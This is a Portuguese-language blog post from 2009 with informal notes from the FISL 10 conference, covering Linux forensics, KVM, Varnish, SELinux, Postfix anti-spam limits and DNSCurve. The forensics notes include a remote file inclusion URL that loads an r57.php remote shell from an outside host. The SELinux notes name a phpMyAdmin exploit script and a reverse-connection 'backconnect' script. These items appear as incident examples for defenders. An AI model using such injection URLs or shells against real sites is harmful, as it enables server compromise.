Everlinux’s Blog

Segue algumas anotações realizadas no FISL 10. Qualquer dia eu organizo isso melhor

# Forense em Linux – http://eriberto.pro.br
- Insert Linux Live CD Forense ~ 60 MB.
- Usar Sleuthkit – http://www.sleuthkit.org/sleuthkit/
- Usar ls -lua e ls -lta para ver a data de modificação dos arquivos
- Montar dump de imagem com “RO” e nunca passar fsck
- chkrootkit -r /forense
- rkhunter -c -r /forense
- freshclam; clamav -r /forense
- Usar strings + grep por data (apache) ou comandos (rm) em dd de disco/mem
- find /forense -mtime -2 => arquivos suspeitos alterados recentemente
- fopen de URL no PHP pode permitir download de um arquivo para o /var/tmp
- site.com/lalala?http://shellremota.com/r57.php
- r57.php te dá uma shell remota (push com resposta 200 nos logs – OK)

The Sleuth Kit (previously known as TASK) is a collection of UNIX-based
command line file system and media management forensic analysis tools.
The file system tools allow you to examine file systems of a suspect
computer in a non-intrusive fashion. Because the tools do not rely on
the operating system to process the file systems, deleted and hidden
content is shown.

# KVM – glommer AT redhat.com
- Sw virtual?
- GFS?
- guestfish = disaster recovery en VM (editar menu.lst e etc)

# Varnish – Squid like globo.com
- Usar o webpoligraph para gerar stress stest/ analise de resultados

# Selinux – jczucco AT gmail.com
- http://jczucco.blogspot.com/ e http://ulissescastro.wordpress.com/
- type_t = template para apache, mysql e etc
- setenforce 1; sestatus
- exploit no phpmyadmin – phpmyadminrce.sh
- backconnect – bc.pl para abrir conexão reversa

# Miguel Ciurcio Filho – http://www.ic.unicamp.br/~miguel
- HELO com IP deve ser negado, embora tenha RFC dizendo o contrário
- PTR e A register must match
- smtpd_client_connection_rate_limit = 15
- smtpd_client_connection_count_limit = 10
- smtpd_client_message_rate_limit = 25
- Usar somente a SpamHaus (best ever)
- smtpd_hard_error_limit = 3
- smtpd_soft_error_limit = 1
- smtpd_error_sleep_time = 20s
- FDQN com nome da máquina não vale

# DNS Curve – D.J. Bernstein
- High-Speed with Cryptography
- Sourceforce uses nginex
- Criptografia https difícil e lenta
- Would massively overload servers
- Confidentiality despite Espionage
- Integrity despite Corruption
- Availability despite Sabotage
- Uses 4096 bit encryption / signatures
- 50 bilion packet/day to 500 milion cliets with 2.4 Core 2 Quad
- Total load on .com:
- 38 bilion packet/day from 5 milion clients
- Crypto per group not per query
- DNSSEC uses 640-1024 bit RSA for fast signature verification
- DNSSEC on *.sec2.br foi quebrado 23/26 domínios “protegidos”

This entry was posted on Monday, June 29th, 2009 at 8:47 pm and is filed under FISL, Linux, Nerd, Segurança. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.